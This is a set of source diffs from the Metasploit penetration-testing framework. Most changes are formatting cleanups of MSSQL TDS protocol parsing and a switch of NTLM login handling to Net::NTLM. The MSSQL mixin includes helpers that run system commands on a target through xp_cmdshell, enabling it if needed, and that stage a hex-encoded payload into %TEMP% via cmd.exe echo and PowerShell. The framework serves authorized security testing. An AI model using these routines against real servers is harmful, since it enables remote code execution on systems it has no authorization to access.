col[:max_size] = data.slice!(0, 4).unpack('V')[0]
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
when 36
@ -467,31 +436,31 @@ module Metasploit
when 38
col[:id] = :int
col[:int_size] = data.slice!(0,1).unpack('C')[0]
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
when 127
col[:id] = :bigint
when 165
col[:id] = :hex
col[:max_size] = data.slice!(0,2).unpack('v')[0]
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 173
col[:id] = :hex # binary(2)
col[:max_size] = data.slice!(0,2).unpack('v')[0]
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 231,175,167,239
when 231, 175, 167, 239
col[:id] = :string
col[:max_size] = data.slice!(0,2).unpack('v')[0]
col[:codepage] = data.slice!(0,2).unpack('v')[0]
col[:cflags] = data.slice!(0,2).unpack('v')[0]
col[:charset_id] = data.slice!(0,1).unpack('C')[0]
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
else
col[:id] = :unknown
end
col[:msg_len] = data.slice!(0,1).unpack('C')[0]
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
if(col[:msg_len] and col[:msg_len] > 0)
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
@ -517,28 +486,28 @@ module Metasploit
case col[:id]
when :hex
str = ""
len = data.slice!(0,2).unpack('v')[0]
len = data.slice!(0, 2).unpack('v')[0]
if(len > 0 and len < 65535)
str << data.slice!(0,len)
str << data.slice!(0, len)
end
row << str.unpack("H*")[0]
when :string
str = ""
len = data.slice!(0,2).unpack('v')[0]
len = data.slice!(0, 2).unpack('v')[0]
if(len > 0 and len < 65535)
str << data.slice!(0,len)
str << data.slice!(0, len)
end
row << str.gsub("\x00", '')
when :datetime
row << data.slice!(0,8).unpack("H*")[0]
row << data.slice!(0, 8).unpack("H*")[0]
when :rawint
row << data.slice!(0,4).unpack('V')[0]
row << data.slice!(0, 4).unpack('V')[0]
when :bigint
row << data.slice!(0,8).unpack("H*")[0]
row << data.slice!(0, 8).unpack("H*")[0]
when :smallint
row << data.slice!(0, 2).unpack("v")[0]
@ -551,8 +520,8 @@ module Metasploit
when :image
str = ''
len = data.slice!(0,1).unpack('C')[0]
str = data.slice!(0,len) if (len and len > 0)
len = data.slice!(0, 1).unpack('C')[0]
str = data.slice!(0, len) if (len and len > 0)
row << str.unpack("H*")[0]
when :int
@ -560,7 +529,7 @@ module Metasploit
raw = data.slice!(0, len) if (len and len > 0)
case len
when 0,255
when 0, 255
row << ''
when 1
row << raw.unpack("C")[0]
@ -573,7 +542,7 @@ module Metasploit
when 8
row << raw.unpack('VV')[0] # XXX: missing high dword
else
info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}"
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
end
else
info[:errors] << "unknown column type: #{col.inspect}"
@ -595,7 +564,7 @@ module Metasploit
pkt_data = ""
pkt_hdr = [
pkt_hdr = [
TYPE_PRE_LOGIN_MESSAGE, #type
STATUS_END_OF_MESSAGE, #status
0x0000, #length
@ -604,7 +573,7 @@ module Metasploit
0x00 #Window
]
version = [0x55010008,0x0000].pack("Vv")
version = [0x55010008, 0x0000].pack("Vv")
# if manually set, we will honour
if tdsencryption == true
@ -615,45 +584,45 @@ module Metasploit
instoptdata = "MSSQLServer\0"
threadid = "\0\0" + Rex::Text.rand_text(2)
threadid = "\0\0" + Rex::Text.rand_text(2)
idx = 21 # size of pkt_data_token
pkt_data_token << [
0x00, # Token 0 type Version
idx , # VersionOffset
pkt_data_token << [
0x00, # Token 0 type Version
idx , # VersionOffset
version.length, # VersionLength
0x01, # Token 1 type Encryption
idx = idx + version.length, # EncryptionOffset
0x01, # EncryptionLength
0x01, # Token 1 type Encryption
idx = idx + version.length, # EncryptionOffset
0x01, # EncryptionLength
0x02, # Token 2 type InstOpt
idx = idx + 1, # InstOptOffset
instoptdata.length, # InstOptLength
0x02, # Token 2 type InstOpt
idx = idx + 1, # InstOptOffset
instoptdata.length, # InstOptLength
0x03, # Token 3 type Threadid
idx + instoptdata.length, # ThreadIdOffset
0x04, # ThreadIdLength
0x03, # Token 3 type Threadid
idx + instoptdata.length, # ThreadIdOffset
0x04, # ThreadIdLength
0xFF
].pack("CnnCnnCnnCnnC")
pkt_data << pkt_data_token
pkt_data << version
pkt_data << encryption
pkt_data << instoptdata
pkt_data << threadid
pkt_data << pkt_data_token
pkt_data << version
pkt_data << encryption
pkt_data << instoptdata
pkt_data << threadid
pkt_hdr[2] = pkt_data.length + 8
pkt_hdr[2] = pkt_data.length + 8
pkt = pkt_hdr.pack("CCnnCC") + pkt_data
pkt = pkt_hdr.pack("CCnnCC") + pkt_data
resp = mssql_send_recv(pkt)
idx = 0
while resp and resp[0,1] != "\xff" and resp.length > 5
token = resp.slice!(0,5)
while resp && resp[0, 1] != "\xff" && resp.length > 5
token = resp.slice!(0, 5)
token = token.unpack("Cnn")
idx -= 5
if token[0] == 0x01
@ -663,7 +632,7 @@ module Metasploit
end
end
if idx > 0
encryption_mode = resp[idx,1].unpack("C")[0]
encryption_mode = resp[idx, 1].unpack("C")[0]
else
raise RunTimeError, "Unable to parse encryption req. "\
"from server during prelogin"
@ -701,8 +670,8 @@ module Metasploit
idx = 0
while resp and resp[0,1] != "\xff" and resp.length > 5
token = resp.slice!(0,5)
while resp && resp[0, 1] != "\xff" && resp.length > 5
token = resp.slice!(0, 5)
token = token.unpack("Cnn")
idx -= 5
if token[0] == 0x01
@ -711,7 +680,7 @@ module Metasploit
end
end
if idx > 0
encryption_mode = resp[idx,1].unpack("C")[0]
encryption_mode = resp[idx, 1].unpack("C")[0]
else
raise RuntimeError, "Unable to parse encryption "\
"req during pre-login"
@ -735,17 +704,17 @@ module Metasploit
while(not done)
head = sock.get_once(8, timeout)
if !(head and head.length == 8)
if !(head && head.length == 8)
return false
end
# Is this the last buffer?
if(head[1,1] == "\x01" or not check_status )
if head[1, 1] == "\x01" || !check_status
done = true
end
# Grab this block's length
rlen = head[2,2].unpack('n')[0] - 8
rlen = head[2, 2].unpack('n')[0] - 8
while(rlen > 0)
buff = sock.get_once(rlen, timeout)
@ -758,7 +727,7 @@ module Metasploit
resp
end
def mssql_ssl_send_recv(req,tdsproxy,timeout=15,check_status=true)
def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true)
tdsproxy.send_recv(req)
end

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.12.24"
VERSION = "4.12.26"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -96,7 +96,7 @@ module Exploit::Remote::Ftp
# This method handles disconnecting our data channel
#
def data_disconnect
self.datasocket.shutdown
self.datasocket.shutdown if self.datasocket
self.datasocket = nil
end

View File

@ -2,10 +2,6 @@
require 'uri'
require 'digest'
require 'rex/proto/ntlm/crypt'
require 'rex/proto/ntlm/constants'
require 'rex/proto/ntlm/utils'
require 'rex/proto/ntlm/exceptions'
module Msf
###
@ -16,15 +12,6 @@ module Msf
###
module Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Exploit::Remote::NTLM::Client
#
# Constants
#
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
NTLM_CONST = Rex::Proto::NTLM::Constants
NTLM_UTILS = Rex::Proto::NTLM::Utils
NTLM_XCEPT = Rex::Proto::NTLM::Exceptions
#
# Initializes an exploit module that exploits a vulnerability in an HTTP
@ -194,12 +181,6 @@ module Exploit::Remote::HttpClient
'uri_fake_end' => datastore['HTTP::uri_fake_end'],
'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'],
'header_folding' => datastore['HTTP::header_folding'],
'usentlm2_session' => datastore['NTLM::UseNTLM2_session'],
'use_ntlmv2' => datastore['NTLM::UseNTLMv2'],
'send_lm' => datastore['NTLM::SendLM'],
'send_ntlm' => datastore['NTLM::SendNTLM'],
'SendSPN' => datastore['NTLM::SendSPN'],
'UseLMKey' => datastore['NTLM::UseLMKey'],
'domain' => datastore['DOMAIN'],
'DigestAuthIIS' => datastore['DigestAuthIIS']
)
@ -256,12 +237,6 @@ module Exploit::Remote::HttpClient
evade_uri_fake_end: datastore['HTTP::uri_fake_end'],
evade_uri_fake_params_start: datastore['HTTP::uri_fake_params_start'],
evade_header_folding: datastore['HTTP::header_folding'],
ntlm_use_ntlmv2_session: datastore['NTLM::UseNTLM2_session'],
ntlm_use_ntlmv2: datastore['NTLM::UseNTLMv2'],
ntlm_send_lm: datastore['NTLM::SendLM'],
ntlm_send_ntlm: datastore['NTLM::SendNTLM'],
ntlm_send_spn: datastore['NTLM::SendSPN'],
ntlm_use_lm_key: datastore['NTLM::UseLMKey'],
ntlm_domain: datastore['DOMAIN'],
digest_auth_iis: datastore['DigestAuthIIS']
}.merge(conf)

View File

@ -1,11 +1,6 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/exploit/mssql_commands'
require 'rex/proto/ntlm/crypt'
require 'rex/proto/ntlm/constants'
require 'rex/proto/ntlm/utils'
require 'rex/proto/ntlm/exceptions'
module Msf
@ -21,41 +16,32 @@ module Exploit::Remote::MSSQL
include Exploit::Remote::Tcp
include Exploit::Remote::NTLM::Client
#
# Constants
#
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
NTLM_CONST = Rex::Proto::NTLM::Constants
NTLM_UTILS = Rex::Proto::NTLM::Utils
NTLM_XCEPT = Rex::Proto::NTLM::Exceptions
# Encryption
ENCRYPT_OFF = 0x00 #Encryption is available but off.
ENCRYPT_ON = 0x01 #Encryption is available and on.
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
ENCRYPT_REQ = 0x03 #Encryption is required.
# Paquet Type
TYPE_SQL_BATCH = 1 # (Client) SQL command
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
TYPE_RPC = 3 # (Client) RPC
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
# Request Completion, Error and Info Messages, Attention Acknowledgement
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
# Packet Type
TYPE_SQL_BATCH = 1 # (Client) SQL command
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
TYPE_RPC = 3 # (Client) RPC
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
# Request Completion, Error and Info Messages, Attention Acknowledgement
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
TYPE_TDS7_LOGIN = 16 # (Client) Login
TYPE_SSPI_MESSAGE = 17 # (Client) Login
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
TYPE_TDS7_LOGIN = 16 # (Client) Login
TYPE_SSPI_MESSAGE = 17 # (Client) Login
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
# Status
STATUS_NORMAL = 0x00
STATUS_END_OF_MESSAGE = 0x01
STATUS_IGNORE_EVENT = 0x02
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
STATUS_NORMAL = 0x00
STATUS_END_OF_MESSAGE = 0x01
STATUS_IGNORE_EVENT = 0x02
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
#
# Creates an instance of a MSSQL exploit module.
#
@ -100,16 +86,13 @@ module Exploit::Remote::MSSQL
'MsfExploit' => self,
})
ping_sock.put("\x02")
resp, saddr, sport = ping_sock.recvfrom(65535, timeout)
resp, _saddr, _sport = ping_sock.recvfrom(65535, timeout)
ping_sock.close
return data if not resp
return data if resp.length == 0
var = nil
return mssql_ping_parse(resp)
end
@ -145,15 +128,15 @@ module Exploit::Remote::MSSQL
#
# Execute a system command via xp_cmdshell
#
def mssql_xpcmdshell(cmd,doprint=false,opts={})
def mssql_xpcmdshell(cmd, doprint=false, opts={})
force_enable = false
begin
res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts)
if(res[:errors] and not res[:errors].empty?)
if(res[:errors].join =~ /xp_cmdshell/)
if(force_enable)
if res[:errors] && !res[:errors].empty?
if res[:errors].join =~ /xp_cmdshell/
if force_enable
print_error("The xp_cmdshell procedure is not available and could not be enabled")
raise RuntimeError, "Failed to execute command"
raise RuntimeError, "Failed to execute command"
else
print_status("The server may have xp_cmdshell disabled, trying to enable it...")
mssql_query(mssql_xpcmdshell_enable())
@ -167,7 +150,7 @@ module Exploit::Remote::MSSQL
return res
rescue RuntimeError => e
if(e.to_s =~ /xp_cmdshell disabled/)
if e.to_s =~ /xp_cmdshell disabled/
force_enable = true
retry
end
@ -200,7 +183,7 @@ module Exploit::Remote::MSSQL
idx = 0
cnt = 500
while(idx < hex.length - 1)
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
idx += cnt
end
@ -234,7 +217,7 @@ module Exploit::Remote::MSSQL
idx = 0
cnt = 500
while(idx < hex.length - 1)
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
idx += cnt
end
print_status("Converting the payload utilizing PowerShell EncodedCommand...")
@ -260,17 +243,17 @@ module Exploit::Remote::MSSQL
while(not done)
head = sock.get_once(8, timeout)
if !(head and head.length == 8)
if !(head && head.length == 8)
return false
end
# Is this the last buffer?
if(head[1,1] == "\x01" or not check_status )
if(head[1, 1] == "\x01" or not check_status )
done = true
end
# Grab this block's length
rlen = head[2,2].unpack('n')[0] - 8
rlen = head[2, 2].unpack('n')[0] - 8
while(rlen > 0)
buff = sock.get_once(rlen, timeout)
@ -302,77 +285,77 @@ module Exploit::Remote::MSSQL
pkt_data = ""
pkt_hdr = [
TYPE_PRE_LOGIN_MESSAGE, #type
STATUS_END_OF_MESSAGE, #status
0x0000, #length
0x0000, # SPID
0x00, # PacketID
0x00 #Window
]
pkt_hdr = [
TYPE_PRE_LOGIN_MESSAGE, #type
STATUS_END_OF_MESSAGE, #status
0x0000, #length
0x0000, # SPID
0x00, # PacketID
0x00 #Window
]
version = [0x55010008,0x0000].pack("Vv")
encryption = ENCRYPT_NOT_SUP # off
instoptdata = "MSSQLServer\0"
version = [0x55010008, 0x0000].pack("Vv")
encryption = ENCRYPT_NOT_SUP # off
instoptdata = "MSSQLServer\0"
threadid = "\0\0" + Rex::Text.rand_text(2)
threadid = "\0\0" + Rex::Text.rand_text(2)
idx = 21 # size of pkt_data_token
pkt_data_token << [
0x00, # Token 0 type Version
idx , # VersionOffset
version.length, # VersionLength
idx = 21 # size of pkt_data_token
pkt_data_token << [
0x00, # Token 0 type Version
idx, # VersionOffset
version.length, # VersionLength
0x01, # Token 1 type Encryption
idx = idx + version.length, # EncryptionOffset
0x01, # EncryptionLength
0x01, # Token 1 type Encryption
idx = idx + version.length, # EncryptionOffset
0x01, # EncryptionLength
0x02, # Token 2 type InstOpt
idx = idx + 1, # InstOptOffset
instoptdata.length, # InstOptLength
0x02, # Token 2 type InstOpt
idx = idx + 1, # InstOptOffset
instoptdata.length, # InstOptLength
0x03, # Token 3 type Threadid
idx + instoptdata.length, # ThreadIdOffset
0x04, # ThreadIdLength
0x03, # Token 3 type Threadid
idx + instoptdata.length, # ThreadIdOffset
0x04, # ThreadIdLength
0xFF
].pack("CnnCnnCnnCnnC")
0xFF
].pack("CnnCnnCnnCnnC")
pkt_data << pkt_data_token
pkt_data << version
pkt_data << encryption
pkt_data << instoptdata
pkt_data << threadid
pkt_data << pkt_data_token
pkt_data << version
pkt_data << encryption
pkt_data << instoptdata
pkt_data << threadid
pkt_hdr[2] = pkt_data.length + 8
pkt_hdr[2] = pkt_data.length + 8
pkt = pkt_hdr.pack("CCnnCC") + pkt_data
pkt = pkt_hdr.pack("CCnnCC") + pkt_data
resp = mssql_send_recv(pkt)
resp = mssql_send_recv(pkt)
idx = 0
idx = 0
while resp and resp[0,1] != "\xff" and resp.length > 5
token = resp.slice!(0,5)
token = token.unpack("Cnn")
idx -= 5
if token[0] == 0x01
idx += token[1]
break
end
end
if idx > 0
encryption_mode = resp[idx,1].unpack("C")[0]
else
#force to ENCRYPT_NOT_SUP and hope for the best
encryption_mode = ENCRYPT_NOT_SUP
while resp && resp[0, 1] != "\xff" && resp.length > 5
token = resp.slice!(0, 5)
token = token.unpack("Cnn")
idx -= 5
if token[0] == 0x01
idx += token[1]
break
end
end
if encryption_mode != ENCRYPT_NOT_SUP and enc_error
raise RuntimeError,"Encryption is not supported"
end
encryption_mode
if idx > 0
encryption_mode = resp[idx, 1].unpack("C")[0]
else
# force to ENCRYPT_NOT_SUP and hope for the best
encryption_mode = ENCRYPT_NOT_SUP
end
if encryption_mode != ENCRYPT_NOT_SUP && enc_error
raise RuntimeError,"Encryption is not supported"
end
encryption_mode
end
#
@ -401,14 +384,14 @@ module Exploit::Remote::MSSQL
idx = 0
pkt = ''
pkt_hdr = ''
pkt_hdr = [
pkt_hdr = [
TYPE_TDS7_LOGIN, #type
STATUS_END_OF_MESSAGE, #status
0x0000, #length
0x0000, # SPID
0x01, # PacketID (unused upon specification
0x01, # PacketID (unused upon specification
# but ms network monitor stil prefer 1 to decode correctly, wireshark don't care)
0x00 #Window
0x00 #Window
]
pkt << [
@ -431,19 +414,18 @@ module Exploit::Remote::MSSQL
sname = Rex::Text.to_unicode( rhost )
dname = Rex::Text.to_unicode( db )
ntlm_options = {
:signing => false,
:usentlm2_session => datastore['NTLM::UseNTLM2_session'],
:use_ntlmv2 => datastore['NTLM::UseNTLMv2'],
:send_lm => datastore['NTLM::SendLM'],
:send_ntlm => datastore['NTLM::SendNTLM']
}
ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options)
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
domain_name = datastore['DOMAIN']
ntlmsspblob = NTLM_UTILS::make_ntlmssp_blob_init(domain_name, workstation_name, ntlmssp_flags)
ntlm_client = ::Net::NTLM::Client.new(
user,
pass,
workstation: workstation_name,
domain: datastore['DOMAIN'],
)
type1 = ntlm_client.init_context
# SQL 2012, at least, does not support KEY_EXCHANGE
type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]
ntlmsspblob = type1.serialize
idx = pkt.size + 50 # lengths below
@ -484,9 +466,9 @@ module Exploit::Remote::MSSQL
pkt << ntlmsspblob
# Total packet length
pkt[0,4] = [pkt.length].pack('V')
pkt[0, 4] = [pkt.length].pack('V')
pkt_hdr[2] = pkt.length + 8
pkt_hdr[2] = pkt.length + 8
pkt = pkt_hdr.pack("CCnnCC") + pkt
@ -494,56 +476,36 @@ module Exploit::Remote::MSSQL
# has a strange behavior that differs from the specifications
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
resp = mssql_send_recv(pkt,15, false)
resp = mssql_send_recv(pkt, 15, false)
# Get default data
begin
blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(resp)
# a domain.length < 3 will hit this
rescue NTLM_XCEPT::NTLMMissingChallenge
unless resp.include?("NTLMSSP")
info = {:errors => []}
mssql_parse_reply(resp, info)
mssql_print_reply(info)
return false
end
challenge_key = blob_data[:challenge_key]
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
#netbios name
default_name = blob_data[:default_name] || ''
#netbios domain
default_domain = blob_data[:default_domain] || ''
#dns name
dns_host_name = blob_data[:dns_host_name] || ''
#dns domain
dns_domain_name = blob_data[:dns_domain_name] || ''
#Client time
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key,
domain_name, default_name, default_domain,
dns_host_name, dns_domain_name, chall_MsvAvTimestamp,
spnopt, ntlm_options)
ntlmssp = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, user, resp_lm, resp_ntlm, '', ntlmssp_flags)
# Get default data
resp = resp[3..-1]
type3 = ntlm_client.init_context([resp].pack('m'))
type3_blob = type3.serialize
# Create an SSPIMessage
idx = 0
pkt = ''
pkt_hdr = ''
pkt_hdr = [
TYPE_SSPI_MESSAGE, #type
STATUS_END_OF_MESSAGE, #status
0x0000, #length
0x0000, # SPID
0x01, # PacketID
0x00 #Window
]
pkt_hdr = [
TYPE_SSPI_MESSAGE, #type
STATUS_END_OF_MESSAGE, #status
0x0000, #length
0x0000, # SPID
0x01, # PacketID
0x00 #Window
]
pkt_hdr[2] = ntlmssp.length + 8
pkt_hdr[2] = type3_blob.length + 8
pkt = pkt_hdr.pack("CCnnCC") + ntlmssp
pkt = pkt_hdr.pack("CCnnCC") + type3_blob
resp = mssql_send_recv(pkt)
@ -620,7 +582,7 @@ module Exploit::Remote::MSSQL
pkt << dname
# Total packet length
pkt[0,4] = [pkt.length].pack('V')
pkt[0, 4] = [pkt.length].pack('V')
# Embedded packet lengths
pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
@ -637,7 +599,7 @@ module Exploit::Remote::MSSQL
end
info = {:errors => []}
info = mssql_parse_reply(resp,info)
info = mssql_parse_reply(resp, info)
return false if not info
info[:login_ack] ? true : false
@ -690,17 +652,17 @@ module Exploit::Remote::MSSQL
print_status("SQL Query: #{info[:sql]}")
if(info[:done] and info[:done][:rows].to_i > 0)
if info[:done] && info[:done][:rows].to_i > 0
print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})")
end
if(info[:errors] and not info[:errors].empty?)
if info[:errors] && !info[:errors].empty?
info[:errors].each do |err|
print_error(err)
end
end
if(info[:rows] and not info[:rows].empty?)
if info[:rows] && !info[:rows].empty?
tbl = Rex::Text::Table.new(
'Indent' => 1,
@ -727,14 +689,14 @@ module Exploit::Remote::MSSQL
info[:colnames] ||= []
# Parse out the columns
cols = data.slice!(0,2).unpack('v')[0]
cols = data.slice!(0, 2).unpack('v')[0]
0.upto(cols-1) do |col_idx|
col = {}
info[:colinfos][col_idx] = col
col[:utype] = data.slice!(0,2).unpack('v')[0]
col[:flags] = data.slice!(0,2).unpack('v')[0]
col[:type] = data.slice!(0,1).unpack('C')[0]
col[:utype] = data.slice!(0, 2).unpack('v')[0]
col[:flags] = data.slice!(0, 2).unpack('v')[0]
col[:type] = data.slice!(0, 1).unpack('C')[0]
case col[:type]
when 48
@ -751,8 +713,8 @@ module Exploit::Remote::MSSQL
when 34
col[:id] = :image
col[:max_size] = data.slice!(0,4).unpack('V')[0]
col[:value_length] = data.slice!(0,2).unpack('v')[0]
col[:max_size] = data.slice!(0, 4).unpack('V')[0]
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
when 36
@ -760,33 +722,33 @@ module Exploit::Remote::MSSQL
when 38
col[:id] = :int
col[:int_size] = data.slice!(0,1).unpack('C')[0]
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
when 127
col[:id] = :bigint
when 165
col[:id] = :hex
col[:max_size] = data.slice!(0,2).unpack('v')[0]
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 173
col[:id] = :hex # binary(2)
col[:max_size] = data.slice!(0,2).unpack('v')[0]
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 231,175,167,239
when 231, 175, 167, 239
col[:id] = :string
col[:max_size] = data.slice!(0,2).unpack('v')[0]
col[:codepage] = data.slice!(0,2).unpack('v')[0]
col[:cflags] = data.slice!(0,2).unpack('v')[0]
col[:charset_id] = data.slice!(0,1).unpack('C')[0]
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
else
col[:id] = :unknown
end
col[:msg_len] = data.slice!(0,1).unpack('C')[0]
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
if(col[:msg_len] and col[:msg_len] > 0)
if col[:msg_len] && col[:msg_len] > 0
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
end
info[:colnames] << (col[:name] || 'NULL')
@ -800,7 +762,7 @@ module Exploit::Remote::MSSQL
info[:errors] = []
return if not data
until data.empty?
token = data.slice!(0,1).unpack('C')[0]
token = data.slice!(0, 1).unpack('C')[0]
case token
when 0x81
mssql_parse_tds_reply(data, info)
@ -844,28 +806,28 @@ module Exploit::Remote::MSSQL
case col[:id]
when :hex
str = ""
len = data.slice!(0,2).unpack('v')[0]
if(len > 0 and len < 65535)
str << data.slice!(0,len)
len = data.slice!(0, 2).unpack('v')[0]
if len > 0 && len < 65535
str << data.slice!(0, len)
end
row << str.unpack("H*")[0]
when :string
str = ""
len = data.slice!(0,2).unpack('v')[0]
if(len > 0 and len < 65535)
str << data.slice!(0,len)
len = data.slice!(0, 2).unpack('v')[0]
if len > 0 && len < 65535
str << data.slice!(0, len)
end
row << str.gsub("\x00", '')
when :datetime
row << data.slice!(0,8).unpack("H*")[0]
row << data.slice!(0, 8).unpack("H*")[0]
when :rawint
row << data.slice!(0,4).unpack('V')[0]
row << data.slice!(0, 4).unpack('V')[0]
when :bigint
row << data.slice!(0,8).unpack("H*")[0]
row << data.slice!(0, 8).unpack("H*")[0]
when :smallint
row << data.slice!(0, 2).unpack("v")[0]
@ -878,16 +840,16 @@ module Exploit::Remote::MSSQL
when :image
str = ''
len = data.slice!(0,1).unpack('C')[0]
str = data.slice!(0,len) if (len and len > 0)
len = data.slice!(0, 1).unpack('C')[0]
str = data.slice!(0, len) if len && len > 0
row << str.unpack("H*")[0]
when :int
len = data.slice!(0, 1).unpack("C")[0]
raw = data.slice!(0, len) if (len and len > 0)
raw = data.slice!(0, len) if len && len > 0
case len
when 0,255
when 0, 255
row << ''
when 1
row << raw.unpack("C")[0]
@ -900,7 +862,7 @@ module Exploit::Remote::MSSQL
when 8
row << raw.unpack('VV')[0] # XXX: missing high dword
else
info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}"
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
end
else
info[:errors] << "unknown column type: #{col.inspect}"
@ -915,7 +877,7 @@ module Exploit::Remote::MSSQL
# Parse a "ret" TDS token
#
def mssql_parse_ret(data, info)
ret = data.slice!(0,4).unpack('N')[0]
ret = data.slice!(0, 4).unpack('N')[0]
info[:ret] = ret
info
end
@ -924,7 +886,7 @@ module Exploit::Remote::MSSQL
# Parse a "done" TDS token
#
def mssql_parse_done(data, info)
status,cmd,rows = data.slice!(0,8).unpack('vvV')
status, cmd, rows = data.slice!(0, 8).unpack('vvV')
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
info
end
@ -933,11 +895,11 @@ module Exploit::Remote::MSSQL
# Parse an "error" TDS token
#
def mssql_parse_error(data, info)
len = data.slice!(0,2).unpack('v')[0]
buff = data.slice!(0,len)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
emsg = buff.slice!(0,elen * 2)
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '')
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
@ -948,17 +910,17 @@ module Exploit::Remote::MSSQL
# Parse an "environment change" TDS token
#
def mssql_parse_env(data, info)
len = data.slice!(0,2).unpack('v')[0]
buff = data.slice!(0,len)
type = buff.slice!(0,1).unpack('C')[0]
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
type = buff.slice!(0, 1).unpack('C')[0]
nval = ''
nlen = buff.slice!(0,1).unpack('C')[0] || 0
nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0
nlen = buff.slice!(0, 1).unpack('C')[0] || 0
nval = buff.slice!(0, nlen * 2).gsub("\x00", '') if nlen > 0
oval = ''
olen = buff.slice!(0,1).unpack('C')[0] || 0
oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0
olen = buff.slice!(0, 1).unpack('C')[0] || 0
oval = buff.slice!(0, olen * 2).gsub("\x00", '') if olen > 0
info[:envs] ||= []
info[:envs] << { :type => type, :old => oval, :new => nval }
@ -969,14 +931,14 @@ module Exploit::Remote::MSSQL
# Parse an "information" TDS token
#
def mssql_parse_info(data, info)
len = data.slice!(0,2).unpack('v')[0]
buff = data.slice!(0,len)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
emsg = buff.slice!(0,elen * 2)
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0, elen * 2)
